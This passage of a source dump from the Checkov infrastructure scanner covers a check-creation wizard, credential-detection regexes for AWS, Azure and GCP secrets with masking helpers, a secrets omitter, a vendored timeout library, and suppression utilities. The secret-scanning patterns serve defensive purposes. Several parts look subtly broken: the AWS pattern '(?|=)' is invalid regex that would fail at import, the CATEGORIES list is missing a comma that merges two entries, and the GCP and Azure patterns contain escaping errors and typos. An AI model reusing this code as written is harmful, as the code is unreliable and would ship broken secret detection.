__future__ import annotations from typing import Any, cast from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.util.banner import banner as checkov_banner import click import jinja2 import os CHECKOV_ROOT_DIRECTORY = os.path.join(".", "checkov") TEMPLATE_DIRECTORY = os.path.join(os.path.dirname(__file__), "templates") class Prompt(): ACTIONS = ["add"] CHECK_CLASS = ["terraform"] CATEGORIES = ["application_security", "backup_and_recovery" "convention", "encryption", "general_security", "iam", "kubernetes", "logging", "networking", "secrets"] TERRAFORM_OBJECT_TYPE = ["data", "provider", "resource"] PROVIDERS = ["azure", "aws", "gcp"] PROMPTS = { "chosen_action": { "text": 'What action would you like to take?', "type": click.Choice(ACTIONS), "default": "add", "sub_prompts": [ { "title": { "text": 'Enter the title of your new check (without a .py)', "type": str, "default": "MyNewTest" }, "category": { "text": 'Select a category for this check', "type": click.Choice(CATEGORIES), "default": "iam" }, "desc": { "text": 'Describe what this check does', "type": str, "default": "Ensure that X does Y..." }, "check_class": { "prompt_if": 'add', "text": 'What kind of check would you like to add?', "type": click.Choice(CHECK_CLASS), "default": "terraform", "sub_prompts": [ { # Terraform "provider": { "prompt_if": 'terraform', "text": 'Select the cloud provider this will run on', "type": click.Choice(PROVIDERS), "default": "aws", "sub_prompts": [ { # AWS "context": { "prompt_if": 'aws', "text": 'Select a terraform object for this check', "type": click.Choice(TERRAFORM_OBJECT_TYPE), "default": "resource", "sub_prompts": [ { "supported_resource": { "prompt_if": 'resource', "text": 'Enter the terraform object type', "type": str, "default": "aws_iam_policy" }, }, { "supported_resource": { "prompt_if": 'data', "text": 'Enter the terraform object type', "type": str, "default": "aws_iam_policy_document" }, }, { "supported_resource": { "prompt_if": 'provider', "text": 'Enter the terraform object type', "type": str, "default": "aws" }, } ] } }, { # Azure "context": { "prompt_if": 'azure', "text": 'Select a terraform object for this check', "type": click.Choice(['resource']), "default": "resource", "sub_prompts": [ { "supported_resource": { "prompt_if": 'resource', "text": 'Enter the terraform object type', "type": str, "default": "azurerm_policy_definition" }, } ] } }, { # GCP "context": { "prompt_if": 'gcp', "text": 'Select a terraform object for this check', "type": click.Choice(['resource']), "default": "resource", "sub_prompts": [ { "supported_resource": { "prompt_if": 'resource', "text": 'Enter the terraform object type', "type": str, "default": "google_project_iam_policy" }, } ] } }, ] } } ] } } ] } } def __init__(self) -> None: print(checkov_banner) self.responses: dict[str, Any] = {} self.prompt() # Recurse over our prompt, populating new class attributes from the keys and # user-supplied answers def prompt(self, prompt_map: dict[str, Any] | None = None, prompt_if: str | None = None) -> None: if not prompt_map: prompt_map = Prompt.PROMPTS for k, v in prompt_map.items(): if "prompt_if" not in v or v["prompt_if"] == prompt_if: # Prompt the user text = cast(str, v["text"]) p = click.prompt(text, type=v["type"], default=v["default"]) # Create the action on our object if k == 'chosen_action': self.chosen_action = p # Record user responses self.responses[k] = p print() # Newline for readability # Call prompt() again on any sub_prompts if "sub_prompts" in v and isinstance(v["sub_prompts"], list): for sub_prompt in v["sub_prompts"]: self.prompt(sub_prompt, prompt_if=p) def template_env(self) -> jinja2.Environment: template_loader = jinja2.FileSystemLoader(searchpath=TEMPLATE_DIRECTORY) return jinja2.Environment(loader=template_loader, autoescape=True) class Check(Prompt): def __init__(self, user_responses: dict[str, Any] | None = None) -> None: if not user_responses: user_responses = {} self.chosen_action = user_responses.get("chosen_action", None) self.title = user_responses.get("title", None) self.category = user_responses.get("category", '') self.desc = user_responses.get("desc", None) self.check_class = user_responses.get("check_class", '') self.provider = user_responses.get("provider", '') self.context = user_responses.get("context", '') self.supported_resource = user_responses.get("supported_resource", None) def action(self) -> None: # Call the user-selected action (add, remove, modify - leaves room for more actions) getattr(self, self.chosen_action)() def add(self) -> None: print("Please ensure you are at the root of the Checkov repository before completing this prompt") self.populate_templates() self.create_check() self.create_unit_test_stubs() self.print_instructions() def populate_templates(self) -> None: # Fetch the tf template for unit tests tf_unit_test_template = self.template_env().get_template("unittest-terraform.jinja2") self.tf_unit_test_template = tf_unit_test_template.render( supported_resource=self.supported_resource, context=self.context) # Fetch the python template for unit tests python_unit_test_template = self.template_env().get_template("unittest-python.jinja2") self.python_unit_test_template = python_unit_test_template.render( provider=self.provider, title=self.title, supported_resource=self.supported_resource, check_class=self.check_class, context=self.context) # Fetch the init template init_template = self.template_env().get_template("init.jinja2") self.init_template = init_template.render() # Fetch the check template check_template = self.template_env().get_template(f"{self.context}.jinja2") new_index = self.get_latest_id_for_provider() + 1 # Find the latest ID and increment self.template = check_template.render(title=self.title, provider=self.provider.upper(), supported_resource=self.supported_resource, category=self.category.upper(), desc=self.desc, index=new_index) def get_latest_id_for_provider(self) -> int: max_id = 0 try: for ck in BaseCheckRegistry.get_all_registered_checks(): if ck.id.startswith(f"CKV_{self.provider.upper()}"): curr_id_num = int(ck.id.split("_")[2]) if curr_id_num > max_id: max_id = curr_id_num except Exception: print("Unable to automatically find latest Check ID, please set manually") max_id = 999999 return max_id def create_check(self) -> None: # Create check in the checks directory ck_loc = os.path.abspath(os.path.join(CHECKOV_ROOT_DIRECTORY, self.check_class, "checks", self.context, self.provider.lower())) print(f"Creating Check {self.title}.py in {ck_loc}") # Set path, make directory path if necessary full_path = os.path.join(ck_loc, f"{self.title}.py") os.makedirs(ck_loc, exist_ok=True) # Write file with open(full_path, "w") as f: f.write(self.template) print(f"\tSuccessfully created {full_path}") def create_unit_test_stubs(self) -> None: base = os.path.abspath(os.path.join(CHECKOV_ROOT_DIRECTORY, os.path.pardir, "tests", self.check_class, "checks", self.context, self.provider.lower())) print(f"Creating Unit Test Stubs for {self.title} in {base}") # Create Terraform stub from Template new_dir = os.path.join(base, f"example_{self.title}") os.makedirs(new_dir, exist_ok=True) tf_loc = os.path.join(new_dir, f"{self.title}.tf") with open(tf_loc, "w") as f: f.write(self.tf_unit_test_template) print(f"\tSuccessfully created {tf_loc}") py_loc = os.path.join(base, f"test_{self.title}.py") with open(py_loc, "w") as f: f.write(self.python_unit_test_template) print(f"\tSuccessfully created {py_loc}") def print_instructions(self) -> None: print("\nNext steps:") print("\t1) Edit your new check located in the checks/ directory listed above") print("\t2) Add both a PASS and FAIL unit test to the newly created unit test under the tests/ directory to show others how to fix failures") ================================================ FILE: checkov/common/util/runner_dependency_handler.py ================================================ from __future__ import annotations import logging from typing import TYPE_CHECKING from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger if TYPE_CHECKING: from checkov.common.runners.runner_registry import RunnerRegistry logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) class RunnerDependencyHandler(): """ Scan runners for system dependencies, disable runners with failed deps """ def __init__(self, runner_registry: RunnerRegistry) -> None: """ RunnerDependencyHandler :param runner_registry: a populated runner registry """ self.runner_registry = runner_registry def validate_runner_deps(self) -> None: """ Checks if each runner declares any system dependencies by calling each runner's system_deps() function. This function can safley not exist, but if returns true, call check_system_deps() on the same function. The function would implement it's own dependency checks (see helm/runner.py for example). Successful check_system_deps() should return None, otherwise self.check_type to indicate a runner has failed deps. THen removes any runners with missing dependencies from runner_registry. """ runners_with_unmatched_deps = [] runner_names = [] for runner in self.runner_registry.runners: system_deps = getattr(runner, 'system_deps', None) if system_deps: check_system_deps = getattr(runner, 'check_system_deps', None) if check_system_deps is not None: result = check_system_deps() if result is not None: runner_names.append(result) runners_with_unmatched_deps.append(runner) else: logging.debug(f"{runner.check_type}_runner declares no system dependency checks required.") continue if runners_with_unmatched_deps: logging.info(f"The following frameworks will automatically be disabled due to missing system dependencies: {','.join(runner_names)}") for runner in runners_with_unmatched_deps: self.runner_registry.remove_runner(runner) ================================================ FILE: checkov/common/util/secrets.py ================================================ from __future__ import annotations import itertools import json import logging import re from typing import Any, TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.consts import RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.typing import _CheckResult, ResourceAttributesToOmit from pycep.typing import ParameterAttributes, ResourceAttributes # secret categories for use as constants AWS = 'aws' AZURE = 'azure' GCP = 'gcp' GENERAL = 'general' PASSWORD = 'password' # nosec B105 ALL = 'all' GENERIC_OBFUSCATION_LENGTH = 10 # Taken from various git-secrets forks that add Azure and GCP support to base AWS. # The groups here are the result of running git secrets --register-[aws|azure|gcp] # https://github.com/awslabs/git-secrets # https://github.com/deshpandetanmay/git-secrets # https://github.com/msalemcode/git-secrets#options-for-register-azure _secrets_regexes = { 'azure': [ "(\"|')?([0-9A-Fa-f]{4}-){4}[0-9A-Fa-f]{12}(\"|')?", # client_secret "(\"|')?[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}(\"|')?", # client_id and many other forms of IDs "(\"|')?.*[0-9a-zA-Z]{2,256}[.][o|O][n|N][m|M][i|I][c|C][r|R][o|O][s|S][o|O][f|F][t|T][.][c|C][o|O][m|M](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][b|B][l|L][o|O][b|B][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][q|Q][u|U][e|E][u|U][e|E][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][t|T][a|A][b|B][l|L][e|E][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][d|D][a|A][t|T][a|A][b|B][a|A][s|S][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][s|S][e|E][r|R][v|V][i|I][c|C][e|E][b|B][u|U][s|S][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][t|T][i|I][m|M][e|E][s|S][e|E][r|R][i|I][e|E][s|S][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][a|T][c|C][c|C][e|E][s|S][s|S][c|C][o|O][n|N][t|T][r|R][o|O][l|L][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][a|A][z|Z][u|U][r|R][e|E][h|H][d|D][i|I][n|N][s|S][i|I][g|G][h|H][t|T][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][c|C][l|L][o|O][u|U][d|D][a|A][p|P][p|P][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][c|C][l|L][o|O][u|U][d|D][a|A][p|P][p|P][.][n|N][e|E][t|T](\"|')?", "(\"|')?.*[0-9a-zA-Z]{2,256}[.][d|D][o|O][c|C][u|U][m|M][e|E][n|N][t|T][s|S][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\"|')?", ], 'aws': [ "(?|=)\\s*(\"|')?[A-Za-z0-9/\\+=]{40}(\"|')?", "(\"|')?(AWS|aws|Aws)?_?(ACCOUNT|account|Account)_?(ID|id|Id)?(\"|')?\\s*(:|=>|=)\\s*(\"|')?[0-9]{4}\\-?[0-9]{4}\\-?[0-9]{4}(\"|')?" ], 'gcp': [ "\bprivate_key.*\b" ], 'general': [ "^-----BEGIN (RSA|EC|DSA|GPP) PRIVATE KEY-----$", ], 'password': [ r"[A-Za-z0-9+/]{40,}={0,2}", # Base64 encoded string r"[0-9a-fA-F]{32,}", # MD5 hash or similar r"(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}", # Strong password pattern r"[A-Za-z0-9]{20,}", # Long alphanumeric string ] } # first compile each unique regex while maintaining the mapping _patterns = {k: [re.compile(p, re.DOTALL) for p in v] for k, v in _secrets_regexes.items()} # now combine all the compiled patterns into one long list _patterns['all'] = list(itertools.chain.from_iterable(_patterns.values())) _hash_patterns = [re.compile(regex, re.IGNORECASE) for regex in ('^[a-f0-9]{32}$', '^[a-f0-9]{40}$')] def is_hash(s: str) -> bool: """ Checks whether a string is a MD5 or SHA1 hash :param s: :return: """ return any(pattern.search(s) for pattern in _hash_patterns) def string_has_secrets(s: str, *categories: str) -> bool: """ Check whether the specified string has any matches for the regexes in the specified category(ies). If categories is blank, then this method checks all categories. It is recommended to use the category constants provided. Examples: string_has_secrets(some_string) -> checks all regexes string_has_secrets(some_string, AWS, GENERAL) -> checks only AWS and general regexes. :param s: :param categories: :return: """ if is_hash(s): return False # set a default if no category is provided; or, if categories were provided and they include 'all', then just set it # explicitly so we don't do any duplication if not categories or "all" in categories: categories = ("all",) for c in categories: if any([pattern.search(s) for pattern in _patterns[c]]): return True return False def omit_multiple_secret_values_from_line(secrets: set[str], line_text: str) -> str: censored_line = line_text for secret in secrets: censored_line = omit_secret_value_from_line(secret, censored_line) return censored_line def omit_secret_value_from_line(secret: str | None, line_text: str) -> str: if not secret or not isinstance(secret, str): return line_text secret_length = len(secret) secret_len_to_expose = min(secret_length // 4, 6) # no more than 6 characters should be exposed try: secret_index = line_text.index(secret) except ValueError: try: secret_index = line_text.index(json.dumps(secret)) except ValueError: return line_text censored_line = f'{line_text[:secret_index + secret_len_to_expose]}' \ f'{"*" * GENERIC_OBFUSCATION_LENGTH}' \ f'{line_text[secret_index + secret_length:]}' return censored_line def omit_secret_value_from_checks( check: BaseCheck, check_result: dict[str, CheckResult] | _CheckResult, entity_code_lines: list[tuple[int, str]], entity_config: dict[str, Any] | ParameterAttributes | ResourceAttributes, resource_attributes_to_omit: ResourceAttributesToOmit | None = None ) -> list[tuple[int, str]]: # a set, to efficiently avoid duplicates in case the same secret is found in the following conditions secrets = set() censored_code_lines = [] if CheckCategories.SECRETS in check.categories and check_result.get('result') == CheckResult.FAILED: secrets.update([str(secret) for key, secret in entity_config.items() if key.startswith(f'{check.id}_secret')]) if resource_attributes_to_omit: universal_mask = resource_attributes_to_omit.get(RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK, set()) resource_masks = resource_attributes_to_omit.get(check.entity_type, set()) resource_masks.update(universal_mask) for key, secret in entity_config.items(): if key not in resource_masks: continue if isinstance(secret, list) and secret: if not isinstance(secret[0], str): logging.debug(f"Secret value can't be masked, has type {type(secret)}") continue secrets.add(secret[0]) if not secrets: logging.debug(f"Secret was not saved in {check.id}, can't omit") return entity_code_lines for idx, line in entity_code_lines: censored_line = omit_multiple_secret_values_from_line(secrets, line) censored_code_lines.append((idx, censored_line)) return censored_code_lines def omit_secret_value_from_graph_checks( check: BaseGraphCheck, check_result: dict[str, CheckResult] | _CheckResult, entity_code_lines: list[tuple[int, str]], entity_config: dict[str, Any] | ParameterAttributes | ResourceAttributes, resource_attributes_to_omit: ResourceAttributesToOmit | None = None ) -> list[tuple[int, str]]: # a set, to efficiently avoid duplicates in case the same secret is found in the following conditions secrets = set() censored_code_lines = [] if check.category == CheckCategories.SECRETS.name and check_result.get('result') == CheckResult.FAILED: secrets = { str(secret) for key, secret in entity_config.items() if key.startswith(f'{check.id}_secret') } if resource_attributes_to_omit: # Universal mask ('*') might exist in resource_attributes_to_omit. If it does exist, we need to mask all the # entities in resource types according to resource_attributes_to_omit.get('*') universal_mask = set(resource_attributes_to_omit.get(RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK, set())) for resource in check.resource_types: resource_masks = set(resource_attributes_to_omit.get(resource, set())) # resource_masks should contain all mask rules that should apply on this resource resource_masks.update(universal_mask) if not resource_masks: continue # If entity is one that should be masked, we add it the value to secrets for attribute, secret in entity_config.items(): if attribute in resource_masks: if isinstance(secret, list) and secret: if not isinstance(secret[0], str): logging.debug(f"Secret value can't be masked, has type {type(secret)}") continue secrets.add(secret[0]) if not secrets: logging.debug(f"Secret was not saved in {check.id}, can't omit") return entity_code_lines for idx, line in entity_code_lines: censored_line = omit_multiple_secret_values_from_line(secrets, line) censored_code_lines.append((idx, censored_line)) return censored_code_lines def get_secrets_from_string(s: str, *categories: str) -> list[str]: # set a default if no category is provided; or, if categories were provided and they include 'all', then just set it # explicitly so we don't do any duplication if is_hash(s): return [] if not categories or "all" in categories: categories = ("all",) secrets: set[str] = set() # Change to a set for automatic deduplication for c in categories: for pattern in _patterns[c]: secrets.update(str(match.group()) for match in pattern.finditer(s)) return list(secrets) # Convert set back to list before returning ================================================ FILE: checkov/common/util/secrets_omitter.py ================================================ from __future__ import annotations import itertools import logging from enum import Enum from typing import Iterator, TYPE_CHECKING, Any from checkov.common.bridgecrew.check_type import CheckType if TYPE_CHECKING: from checkov.common.output.record import Record from checkov.common.output.report import Report class SecretsOmitterStatus(Enum): SUCCESS = 0 INSUFFICIENT_REPORTS = 1 class SecretsOmitter: def __init__(self, reports: list[Report]): self.reports: list[Report] = [report for report in reports if report.check_type != CheckType.SECRETS] self.secrets_report: dict[str, Any] | None = self._get_secrets_report(reports) @staticmethod def _get_secrets_report(reports: list[Report]) -> dict[str, Any] | None: """ Setting the secrets report from checkov runner or bucket """ secrets_report_list = [report for report in reports if report.check_type == CheckType.SECRETS] return secrets_report_list[0].get_dict(full_report=True) if len(secrets_report_list) == 1 else None def _secret_check(self) -> Iterator[dict[str, Any]]: if not self.secrets_report: # Should not reach here, used for typing return for check in self.secrets_report.get("checks", {}).get("failed_checks"): yield check def _non_secret_check(self) -> Iterator[Record]: for report in self.reports: for check in itertools.chain(report.failed_checks, report.passed_checks): yield check @staticmethod def get_secret_lines(code_block: list[tuple[int, str]] | None) -> tuple[list[int], list[str]]: """ Given a code block object, returns the lines containing asterisks including the line range :param code_block: list of tuples containing line number and the line itself :return: list of size 2, representing the range of lines containing secrets from code_block, and a list containing the lines from the range. """ secret_lines_range = [-1, -1] secrets_lines: list[str] = [] if not code_block: return secret_lines_range, secrets_lines for idx, line in code_block: if '*' in line: secrets_lines.append(line) if secret_lines_range[0] == -1: secret_lines_range[0] = idx else: secret_lines_range[1] = idx if secret_lines_range[1] == -1: secret_lines_range[1] = secret_lines_range[0] return secret_lines_range, secrets_lines @staticmethod def _line_range_overlaps(r1: list[int], r2: list[int]) -> bool: return r1[0] <= r2[1] and r1[1] >= r2[0] def omit(self) -> SecretsOmitterStatus: if not self.reports or not self.secrets_report: logging.debug("Insufficient reports to omit secrets") return SecretsOmitterStatus.INSUFFICIENT_REPORTS files_with_secrets: set[str] = {secret_check.get("file_path", "") for secret_check in self._secret_check()} for check in self._non_secret_check(): check_file_path = check.file_path check_abs_file_path = check.file_abs_path check_line_range = check.file_line_range if (check_file_path not in files_with_secrets and check_abs_file_path not in files_with_secrets)\ or not check_line_range or None in check_line_range: continue for secret_check in self._secret_check(): secret_check_file_path = secret_check.get("file_path", "") secret_check_line_range, secrets_check_lines = self.get_secret_lines(secret_check.get("code_block")) if secret_check_line_range == [-1, -1]: continue if secret_check_file_path not in (check_file_path, check_abs_file_path) or \ not self._line_range_overlaps(secret_check_line_range, check_line_range): continue if len(secrets_check_lines) != secret_check_line_range[1] - secret_check_line_range[0] + 1: logging.error("Secrets lines does not match the length of the line range, sanity check failed") continue for secret_line_index, omitted_line in \ zip(list(range(secret_check_line_range[0], secret_check_line_range[1] + 1)), # noqa: B905 secrets_check_lines): for entry_index, (line_index, _) in enumerate(check.code_block): if secret_line_index == line_index: check.code_block[entry_index] = (line_index, omitted_line) return SecretsOmitterStatus.SUCCESS ================================================ FILE: checkov/common/util/stopit/__init__.py ================================================ # -*- coding: utf-8 -*- """ ====== stopit ====== code from: https://github.com/glenfant/stopit package: https://pypi.org/project/stopit Public resources from ``stopit`` """ from .utils import TimeoutException from .threadstop import ThreadingTimeout, async_raise, threading_timeoutable from .signalstop import SignalTimeout, signal_timeoutable __all__ = ( 'ThreadingTimeout', 'async_raise', 'threading_timeoutable', 'SignalTimeout', 'signal_timeoutable', 'TimeoutException' ) ================================================ FILE: checkov/common/util/stopit/signalstop.py ================================================ # -*- coding: utf-8 -*- """ ================= stopit.signalstop ================= Control the timeout of blocks or callables with a context manager or a decorator. Based on the use of signal.SIGALRM """ from __future__ import annotations import signal from typing import TYPE_CHECKING from .utils import TimeoutException, BaseTimeout, base_timeoutable if TYPE_CHECKING: from types import FrameType class SignalTimeout(BaseTimeout): """Context manager for limiting in the time the execution of a block using signal.SIGALRM Unix signal. See :class:`stopit.utils.BaseTimeout` for more information """ def __init__(self, seconds: int, swallow_exc: bool = True) -> None: seconds = int(seconds) # alarm delay for signal MUST be int super().__init__(seconds, swallow_exc) def handle_timeout(self, signum: int, frame: FrameType | None) -> None: self.state = self.TIMED_OUT raise TimeoutException(f"Block exceeded maximum timeout value ({self.seconds} seconds).") # Required overrides def setup_interrupt(self) -> None: signal.signal(signal.SIGALRM, self.handle_timeout) signal.alarm(self.seconds) def suppress_interrupt(self) -> None: signal.alarm(0) signal.signal(signal.SIGALRM, signal.SIG_DFL) class signal_timeoutable(base_timeoutable): # noqa: B903 """A function or method decorator that raises a ``TimeoutException`` to decorated functions that should not last a certain amount of time. this one uses ``SignalTimeout`` context manager. See :class:`.utils.base_timoutable`` class for further comments. """ def __init__(self) -> None: super().__init__() self.to_ctx_mgr = SignalTimeout ================================================ FILE: checkov/common/util/stopit/threadstop.py ================================================ # -*- coding: utf-8 -*- """ ================= stopit.threadstop ================= Raise asynchronous exceptions in other thread, control the timeout of blocks or callables with a context manager or a decorator. """ from __future__ import annotations import ctypes import threading from .utils import TimeoutException, BaseTimeout, base_timeoutable def async_raise(target_tid: int, exception: type[Exception]) -> None: """Raises an asynchronous exception in another thread. Read http://docs.python.org/c-api/init.html#PyThreadState_SetAsyncExc for further enlightenments. :param target_tid: target thread identifier :param exception: Exception class to be raised in that thread """ # Ensuring and releasing GIL are useless since we're not in C # gil_state = ctypes.pythonapi.PyGILState_Ensure() ret = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(target_tid), ctypes.py_object(exception)) # ctypes.pythonapi.PyGILState_Release(gil_state) if ret == 0: raise ValueError(f"Invalid thread ID {target_tid}") elif ret > 1: ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(target_tid), None) raise SystemError("PyThreadState_SetAsyncExc failed") class ThreadingTimeout(BaseTimeout): """Context manager for limiting in the time the execution of a block using asynchronous threads launching exception. See :class:`stopit.utils.BaseTimeout` for more information """ def __init__(self, seconds: int, swallow_exc: bool = True) -> None: super().__init__(seconds, swallow_exc) self.target_tid = threading.current_thread().ident self.timer: "threading.Timer | None" = None # PEP8 def stop(self) -> None: """Called by timer thread at timeout. Raises a Timeout exception in the caller thread """ self.state = self.TIMED_OUT if self.target_tid is not None: async_raise(self.target_tid, TimeoutException) # Required overrides def setup_interrupt(self) -> None: """Setting up the resource that interrupts the block """ self.timer = threading.Timer(self.seconds, self.stop) self.timer.start() def suppress_interrupt(self) -> None: """Removing the resource that interrupts the block """ if self.timer: self.timer.cancel() class threading_timeoutable(base_timeoutable): # noqa: B903 """A function or method decorator that raises a ``TimeoutException`` to decorated functions that should not last a certain amount of time. this one uses ``ThreadingTimeout`` context manager. See :class:`.utils.base_timoutable`` class for further comments. """ def __init__(self) -> None: super().__init__() self.to_ctx_mgr = ThreadingTimeout ================================================ FILE: checkov/common/util/stopit/utils.py ================================================ # -*- coding: utf-8 -*- """ ============ stopit.utils ============ Misc utilities and common resources """ from __future__ import annotations import functools import logging from logging import NullHandler from typing import TYPE_CHECKING, Any, TypeVar, Callable, cast from typing_extensions import ParamSpec, Self from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger if TYPE_CHECKING: from types import TracebackType T = TypeVar("T") P = ParamSpec("P") # Custom logger LOG = logging.getLogger(name='stopit') LOG.addHandler(NullHandler()) add_resource_code_filter_to_logger(LOG) class TimeoutException(Exception): """Raised when the block under context management takes longer to complete than the allowed maximum timeout value. """ pass class BaseTimeout: """Context manager for limiting in the time the execution of a block :param seconds: ``float`` or ``int`` duration enabled to run the context manager block :param swallow_exc: ``False`` if you want to manage the ``TimeoutException`` (or any other) in an outer ``try ... except`` structure. ``True`` (default) if you just want to check the execution of the block with the ``state`` attribute of the context manager. """ def __init__(self, seconds: int, swallow_exc: bool = True) -> None: # Possible values for the ``state`` attribute, self explanative self.EXECUTED, self.EXECUTING, self.TIMED_OUT, self.INTERRUPTED, self.CANCELED = range(5) self.seconds = seconds self.swallow_exc = swallow_exc self.state = self.EXECUTED def __bool__(self) -> bool: return self.state in (self.EXECUTED, self.EXECUTING, self.CANCELED) def __repr__(self) -> str: """Debug helper """ return f"<{self.__class__.__name__} in state: {self.state}>" def __enter__(self) -> Self: self.state = self.EXECUTING self.setup_interrupt() return self def __exit__(self, exc_type: type[BaseException], exc_val: BaseException, exc_tb: TracebackType | None) -> bool: if exc_type is TimeoutException: if self.state != self.TIMED_OUT: self.state = self.INTERRUPTED self.suppress_interrupt() LOG.warning( f"Code block execution exceeded {self.seconds} seconds timeout", exc_info=(exc_type, exc_val, exc_tb), ) return self.swallow_exc else: if exc_type is None: self.state = self.EXECUTED self.suppress_interrupt() return False def cancel(self) -> None: """In case in the block you realize you don't need anymore limitation""" self.state = self.CANCELED self.suppress_interrupt() # Methods must be provided by subclasses def suppress_interrupt(self) -> None: """Removes/neutralizes the feature that interrupts the executed block """ raise NotImplementedError def setup_interrupt(self) -> None: """Installs/initializes the feature that interrupts the executed block """ raise NotImplementedError class base_timeoutable: """A base for function or method decorator that raises a ``TimeoutException`` to decorated functions that should not last a certain amount of time. Any decorated callable may receive a ``timeout`` optional parameter that specifies the number of seconds allocated to the callable execution. The decorated functions that exceed that timeout return ``None`` or the value provided by the decorator. :param default: The default value in case we timed out during the decorated function execution. Default is None. :param timeout_param: As adding dynamically a ``timeout`` named parameter to the decorated callable may conflict with the callable signature, you may choose another name to provide that parameter. Your decoration line could look like ``@timeoutable(timeout_param='my_timeout')`` .. note:: This is a base class that must be subclassed. subclasses must override thz ``to_ctx_mgr`` with a timeout context manager class which in turn must subclasses of above ``BaseTimeout`` class. """ def __init__(self, default: Any = None, timeout_param: str = 'timeout') -> None: self.to_ctx_mgr: "type[BaseTimeout] | None" = None self.default, self.timeout_param = default, timeout_param def __call__(self, func: Callable[P, T]) -> Callable[P, T | Any]: @functools.wraps(func) def wrapper(*args: P.args, **kwargs: P.kwargs) -> T | Any: timeout = cast(int, kwargs.pop(self.timeout_param, 0)) if timeout: if not self.to_ctx_mgr: return self.default with self.to_ctx_mgr(timeout, swallow_exc=True): result = self.default # ``result`` may not be assigned below in case of timeout result = func(*args, **kwargs) return result else: return func(*args, **kwargs) return wrapper ================================================ FILE: checkov/common/util/str_utils.py ================================================ import re seconds_per_unit = {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800} seconds_per_unit_regex = r"^\d+[s|m|h|d|w]" # method 'str.removeprefix()' was added in Python 3.9 def removeprefix(input_str: str, prefix: str) -> str: if input_str.startswith(prefix): return input_str[len(prefix):] return input_str # in case of comparing paths from the BE and from the client, we have to make sure the structures are the same # e.g: in windows the separator for the path is '\' while in linux/max it is '/' def align_path(path: str) -> str: return path.replace('\\', '/') def convert_to_seconds(input_str: str) -> int: if re.search(seconds_per_unit_regex, input_str) is None: raise Exception(f"format error for input str, usage: {seconds_per_unit_regex}") return int(input_str[:-1]) * seconds_per_unit[input_str[-1]] ================================================ FILE: checkov/common/util/suppression.py ================================================ from __future__ import annotations import re from collections.abc import Iterable from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import ( integration as metadata_integration, ) from checkov.common.comment.enum import COMMENT_REGEX from checkov.common.models.enums import CheckResult from checkov.common.typing import _CheckResult, _SkippedCheck def collect_suppressions_for_report(code_lines: list[tuple[int, str]]) -> dict[str, _CheckResult]: """Searches for suppressions in a config block to be used in a report""" suppressions = {} for _, line in code_lines: skip_search = re.search(COMMENT_REGEX, line) if skip_search: check_result: _CheckResult = { "result": CheckResult.SKIPPED, "suppress_comment": skip_search.group(3)[1:] if skip_search.group(3) else "No comment provided", } suppressions[skip_search.group(2)] = check_result return suppressions def collect_suppressions_for_context(code_lines: Iterable[tuple[int, int | str]]) -> list[_SkippedCheck]: """Searches for suppressions in a config block to be used in a context""" skipped_checks = [] bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping for line_number, line_text in code_lines: skip_search = re.search(COMMENT_REGEX, str(line_text)) if skip_search: skipped_check: _SkippedCheck = { "id": skip_search.group(2), "suppress_comment": skip_search.group(3)[1:] if skip_search.group(3) else "No comment provided", "line_number": line_number } # No matter which ID was used to skip, save the pair of IDs in the appropriate fields if bc_id_mapping and skipped_check["id"] in bc_id_mapping: skipped_check["bc_id"] = skipped_check["id"] skipped_check["id"] = bc_id_mapping[skipped_check["id"]] elif metadata_integration.check_metadata: skipped_check["bc_id"] = metadata_integration.get_bc_id(skipped_check["id"]) skipped_checks.append(skipped_check) return skipped_checks ================================================ FILE: checkov/common/util/templates/__init__.py ================================================ ================================================ FILE: checkov/common/util/templates/data.jinja2 ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.base_check import BaseDataCheck class {{title}}(BaseDataCheck): def __init__(self): # This is the full description of your check description = "{{desc}}" # This is the Unique ID for your check id = "CKV_{{provider}}_{{index}}" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) 